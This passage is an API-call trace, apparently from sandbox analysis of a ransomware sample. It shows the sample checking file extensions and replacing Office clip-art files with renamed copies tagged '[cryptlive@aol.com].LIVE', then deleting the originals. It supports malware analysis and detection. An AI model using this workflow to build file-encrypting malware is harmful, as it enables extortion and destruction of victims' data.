Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0151.596] lstrlenW (lpString=".jpg") returned 4 [0151.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.596] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0151.596] lstrlenW (lpString="J0105232.WMF") returned 12 [0151.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.622] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=5632) returned 1 [0151.622] CloseHandle (hObject=0x384) returned 1 [0151.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf")) returned 0x20 [0151.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0151.644] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.644] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.645] GetLastError () returned 0x0 [0151.645] ReadFile (in: hFile=0x1dc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x1600, lpOverlapped=0x0) returned 1 [0151.682] WriteFile (in: hFile=0x3a0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x1610, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x1610, lpOverlapped=0x0) returned 1 [0151.683] ReadFile (in: hFile=0x1dc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.683] WriteFile (in: hFile=0x3a0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.683] SetEndOfFile (hFile=0x3a0) returned 1 [0151.683] CloseHandle (hObject=0x3a0) returned 1 [0151.683] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.683] SetEndOfFile (hFile=0x1dc) returned 1 [0151.688] CloseHandle (hObject=0x1dc) returned 1 [0151.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf")) returned 1 [0151.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0151.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0151.691] lstrlenW (lpString=".doc") returned 4 [0151.691] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.691] lstrlenW (lpString=".docx") returned 5 [0151.691] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.691] lstrlenW (lpString=".pdf") returned 4 [0151.691] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.691] lstrlenW (lpString=".xls") returned 4 [0151.691] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.691] lstrlenW (lpString=".xlsx") returned 5 [0151.691] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.692] lstrlenW (lpString=".ppt") returned 4 [0151.692] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0151.692] lstrlenW (lpString=".zip") returned 4 [0151.692] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.692] lstrlenW (lpString=".rar") returned 4 [0151.692] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.692] lstrlenW (lpString=".bz2") returned 4 [0151.692] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.692] lstrlenW (lpString=".7z") returned 3 [0151.692] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0151.692] lstrlenW (lpString=".dbf") returned 4 [0151.692] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0151.692] lstrlenW (lpString=".1cd") returned 4 [0151.692] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0151.692] lstrlenW (lpString=".jpg") returned 4 [0151.692] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0151.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0151.692] lstrlenW (lpString=".doc") returned 4 [0151.692] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.692] lstrlenW (lpString=".docx") returned 5 [0151.692] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.692] lstrlenW (lpString=".pdf") returned 4 [0151.692] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.692] lstrlenW (lpString=".xls") returned 4 [0151.692] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.692] lstrlenW (lpString=".xlsx") returned 5 [0151.692] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.692] lstrlenW (lpString=".ppt") returned 4 [0151.692] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0151.692] lstrlenW (lpString=".zip") returned 4 [0151.692] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.693] lstrlenW (lpString=".rar") returned 4 [0151.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.693] lstrlenW (lpString=".bz2") returned 4 [0151.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.693] lstrlenW (lpString=".7z") returned 3 [0151.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0151.693] lstrlenW (lpString=".dbf") returned 4 [0151.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0151.693] lstrlenW (lpString=".1cd") returned 4 [0151.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0151.693] lstrlenW (lpString=".jpg") returned 4 [0151.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.693] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0151.693] lstrlenW (lpString="J0105250.WMF") returned 12 [0151.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0151.694] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=4628) returned 1 [0151.694] CloseHandle (hObject=0x1fc) returned 1 [0151.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf")) returned 0x20 [0151.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0151.695] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.695] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0151.696] GetLastError () returned 0x0 [0151.696] ReadFile (in: hFile=0x1fc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x1214, lpOverlapped=0x0) returned 1 [0151.721] WriteFile (in: hFile=0x3b4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x1220, lpOverlapped=0x0) returned 1 [0151.722] ReadFile (in: hFile=0x1fc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.722] WriteFile (in: hFile=0x3b4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.722] SetEndOfFile (hFile=0x3b4) returned 1 [0151.722] CloseHandle (hObject=0x3b4) returned 1 [0151.723] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.723] SetEndOfFile (hFile=0x1fc) returned 1 [0151.725] CloseHandle (hObject=0x1fc) returned 1 [0151.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf")) returned 1 [0151.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0151.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0151.727] lstrlenW (lpString=".doc") returned 4 [0151.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.727] lstrlenW (lpString=".docx") returned 5 [0151.727] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0151.728] lstrlenW (lpString=".pdf") returned 4 [0151.728] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.728] lstrlenW (lpString=".xls") returned 4 [0151.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.728] lstrlenW (lpString=".xlsx") returned 5 [0151.728] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0151.728] lstrlenW (lpString=".ppt") returned 4 [0151.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0151.728] lstrlenW (lpString=".zip") returned 4 [0151.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.728] lstrlenW (lpString=".rar") returned 4 [0151.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.728] lstrlenW (lpString=".bz2") returned 4 [0151.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.728] lstrlenW (lpString=".7z") returned 3 [0151.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0151.728] lstrlenW (lpString=".dbf") returned 4 [0151.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0151.728] lstrlenW (lpString=".1cd") returned 4 [0151.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0151.728] lstrlenW (lpString=".jpg") returned 4 [0151.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0151.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0151.729] lstrlenW (lpString=".doc") returned 4 [0151.729] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.729] lstrlenW (lpString=".docx") returned 5 [0151.729] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0151.729] lstrlenW (lpString=".pdf") returned 4 [0151.729] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.729] lstrlenW (lpString=".xls") returned 4 [0151.729] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.729] lstrlenW (lpString=".xlsx") returned 5 [0151.729] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0151.729] lstrlenW (lpString=".ppt") returned 4 [0151.729] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0151.729] lstrlenW (lpString=".zip") returned 4 [0151.729] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.729] lstrlenW (lpString=".rar") returned 4 [0151.729] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.729] lstrlenW (lpString=".bz2") returned 4 [0151.729] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.729] lstrlenW (lpString=".7z") returned 3 [0151.729] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0151.729] lstrlenW (lpString=".dbf") returned 4 [0151.729] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0151.729] lstrlenW (lpString=".1cd") returned 4 [0151.729] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0151.730] lstrlenW (lpString=".jpg") returned 4 [0151.730] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.730] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0151.730] lstrlenW (lpString="J0105272.WMF") returned 12 [0151.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0151.731] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=17728) returned 1 [0151.731] CloseHandle (hObject=0x1fc) returned 1 [0151.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf")) returned 0x20 [0151.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0151.732] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.732] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0151.733] GetLastError () returned 0x0 [0151.733] ReadFile (in: hFile=0x1fc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x4540, lpOverlapped=0x0) returned 1 [0151.773] WriteFile (in: hFile=0x3b4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x4550, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x4550, lpOverlapped=0x0) returned 1 [0151.774] ReadFile (in: hFile=0x1fc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.774] WriteFile (in: hFile=0x3b4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.774] SetEndOfFile (hFile=0x3b4) returned 1 [0151.774] CloseHandle (hObject=0x3b4) returned 1 [0151.774] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.774] SetEndOfFile (hFile=0x1fc) returned 1 [0151.777] CloseHandle (hObject=0x1fc) returned 1 [0151.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf")) returned 1 [0151.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0151.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0151.778] lstrlenW (lpString=".doc") returned 4 [0151.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.778] lstrlenW (lpString=".docx") returned 5 [0151.778] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.778] lstrlenW (lpString=".pdf") returned 4 [0151.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.778] lstrlenW (lpString=".xls") returned 4 [0151.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.778] lstrlenW (lpString=".xlsx") returned 5 [0151.778] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.778] lstrlenW (lpString=".ppt") returned 4 [0151.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0151.778] lstrlenW (lpString=".zip") returned 4 [0151.779] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.779] lstrlenW (lpString=".rar") returned 4 [0151.779] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.779] lstrlenW (lpString=".bz2") returned 4 [0151.779] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.779] lstrlenW (lpString=".7z") returned 3 [0151.779] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0151.779] lstrlenW (lpString=".dbf") returned 4 [0151.779] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0151.779] lstrlenW (lpString=".1cd") returned 4 [0151.779] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0151.779] lstrlenW (lpString=".jpg") returned 4 [0151.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0151.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0151.779] lstrlenW (lpString=".doc") returned 4 [0151.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.779] lstrlenW (lpString=".docx") returned 5 [0151.779] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.779] lstrlenW (lpString=".pdf") returned 4 [0151.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.779] lstrlenW (lpString=".xls") returned 4 [0151.779] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.779] lstrlenW (lpString=".xlsx") returned 5 [0151.779] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.779] lstrlenW (lpString=".ppt") returned 4 [0151.779] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0151.779] lstrlenW (lpString=".zip") returned 4 [0151.780] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.780] lstrlenW (lpString=".rar") returned 4 [0151.780] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.780] lstrlenW (lpString=".bz2") returned 4 [0151.780] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.780] lstrlenW (lpString=".7z") returned 3 [0151.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0151.780] lstrlenW (lpString=".dbf") returned 4 [0151.780] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0151.780] lstrlenW (lpString=".1cd") returned 4 [0151.780] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0151.780] lstrlenW (lpString=".jpg") returned 4 [0151.780] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.780] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0151.780] lstrlenW (lpString="J0105280.WMF") returned 12 [0151.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0151.799] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=11540) returned 1 [0151.799] CloseHandle (hObject=0x1fc) returned 1 [0151.799] 